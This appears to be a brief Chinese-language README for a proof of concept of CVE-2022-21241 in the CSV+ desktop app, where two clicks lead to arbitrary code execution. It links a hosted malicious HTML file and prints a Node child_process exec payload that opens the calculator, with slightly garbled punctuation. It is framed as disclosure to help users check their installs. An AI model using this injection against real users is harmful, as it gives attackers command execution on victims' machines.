csv-plus_vulnerability

csv-plusvulnerability 👻 两次点击即可触发任意代码执行漏洞。 CVE-2022-21241 ⚠ 此 PoC 旨在提醒用户并帮助排查其自身 CSV+ 中的漏洞，禁止用于攻击行为。 漏洞 以下版本受影响。 CSV+ click me 👻 https://electronooooo.htmlbin.net/xsscalc.html 是一个临时链接。 恶意 html 文件（calc） var cmd = "calc"; require"childprocess".execcmd; Hi :...